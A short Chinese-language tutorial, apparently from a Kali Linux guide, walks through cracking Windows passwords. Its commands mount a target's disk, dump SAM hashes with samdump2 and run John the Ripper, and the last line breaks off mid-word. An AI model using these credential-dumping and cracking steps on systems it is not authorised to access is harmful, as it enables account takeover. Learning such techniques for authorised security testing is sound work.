使用 John the Ripper 破解 Windows 密碼
操作步驟讓我們開始使用 John the Ripper 破解 Windows SAM 文件。我們假設你能夠訪問某臺Windows 主機,通過遠程入侵,或者物理接觸,並且能夠通過 USB 或 DVD 驅動器啓動 KaliLinux。
1. 看看你想掛載哪個硬盤:
Fdisk -l
2. 掛載該硬盤,並將target設爲它的掛載點。
mount /dev/sda1 /target/
3. 將目錄改爲 Windows SAM 文件的位置:
cd /target/windows/system32/config
4. 列出目錄中所有內容。
ls –al
5. 使用 SamDump2 來提取哈希,並將文件放到你的 root 用戶目錄中的一個叫做hashes的文件夾中。
samdump2 system SAM > /root/hashes/hash.txt
6. 將目錄改爲 John the Ripper 所在目錄。
7. 運行 John the Ripper:
./john /root/hashes/hash.txt
./john /root/hashes/hash.txt–f:nt (If attacking a file on a NTFS Syste
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.